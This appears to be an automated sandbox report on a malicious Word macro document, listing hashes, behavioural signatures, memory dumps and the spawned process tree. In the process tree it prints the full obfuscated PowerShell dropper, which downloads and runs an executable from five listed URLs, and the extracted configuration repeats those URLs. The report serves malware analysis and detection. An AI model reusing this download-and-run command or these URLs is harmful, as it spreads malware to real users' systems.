Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    02-12-2021 10:54

General

  • Target

    test/0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc

  • Size

    265KB

  • MD5

    34c85b83169b5e70bbfc76c2d6de2be0

  • SHA1

    cf7d59f9e2774b8b2de9f578bad3b78947d0c3f8

  • SHA256

    0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b

  • SHA512

    0610b68ef9916c73ed782dc60045c914c52dff1dc1258b634dd009303a4837b403334f2e6c35f137e12ca473f30c747cd9e08df2acbc3d2a9a6790b1b469eb4e

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\test\0b627b4eca9b9e8bd04a0d1a103876f6e0fa91049fd0b51bae9ae41acaacf15b.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:432
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1224
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1544

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/432-55-0x0000000072B21000-0x0000000072B24000-memory.dmp
      Filesize

      12KB

    • memory/432-56-0x00000000705A1000-0x00000000705A3000-memory.dmp
      Filesize

      8KB

    • memory/432-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/432-58-0x00000000762D1000-0x00000000762D3000-memory.dmp
      Filesize

      8KB

    • memory/432-61-0x00000000055C0000-0x000000000620A000-memory.dmp
      Filesize

      12.3MB

    • memory/1224-59-0x0000000000000000-mapping.dmp
    • memory/1224-62-0x0000000001DD0000-0x0000000001DD1000-memory.dmp
      Filesize

      4KB

    • memory/1224-63-0x0000000001DD1000-0x0000000001DD2000-memory.dmp
      Filesize

      4KB

    • memory/1224-64-0x0000000001DD2000-0x0000000001DD4000-memory.dmp
      Filesize

      8KB

    • memory/1224-65-0x0000000004BD0000-0x0000000005221000-memory.dmp
      Filesize

      6.3MB

    • memory/1544-66-0x0000000000000000-mapping.dmp
    • memory/1544-67-0x000007FEFC1D1000-0x000007FEFC1D3000-memory.dmp
      Filesize

      8KB